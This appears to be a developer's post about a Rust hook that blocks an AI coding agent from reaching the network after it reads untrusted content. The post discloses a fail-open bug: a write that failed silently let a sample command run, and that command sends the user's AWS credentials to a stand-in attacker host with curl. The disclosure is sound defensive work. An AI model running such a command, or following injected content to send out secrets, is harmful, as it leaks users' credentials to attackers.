We (me and Claude Code) ship a hook that decides whether an AI coding agent's next tool call is allowed. The core rule is taint — once a session has read something untrusted, it can't reach the network. That mark is a file, because each hook invocation is a separate process.
The write was `let _ = File::create(...)`. With a read-only state directory the mark went nowhere, every later call read back "clean", and a WebFetch followed by `curl https://evil.example -d @~/.aws/credentials` was permitted. Silently. At the time: 254 tests passing, clippy -D warnings clean, no unsafe, five green CI jobs.
The part I'd take elsewhere: we fail open deliberately — a broken hook must never brick your editor. That is correct for a failure to reach a decision. It is catastrophic for a failure to record one, and at the call site the two are the same shape. Any advisory control that persists state between invocations has this bug available to it.
Four more in the post, including one where two hosts returned different verdicts for the same policy file, and a correction of something my own first pass got wrong.
Rust, MIT/Apache-2.0. Happy to answer anything.